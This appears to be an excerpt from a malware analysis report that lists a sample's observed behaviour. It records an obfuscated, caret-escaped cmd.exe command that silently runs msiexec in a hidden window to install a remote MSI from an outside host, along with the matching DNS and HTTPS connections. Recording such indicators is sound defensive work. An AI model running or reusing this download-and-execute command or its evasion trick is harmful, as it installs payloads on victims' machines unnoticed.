Technical Information
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i https://ht.sarahparkonline.com/retsmiddelet.msi /qn
- 'ht.####hparkonline.com':443
- DNS ASK ht.####hparkonline.com
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i https://ht.sarahparkonline.com/retsmiddelet.msi /qn' (with hidden window)
- '<SYSTEM32>\msiexec.exe' /i https://ht.sarahparkonline.com/retsmiddelet.msi /qn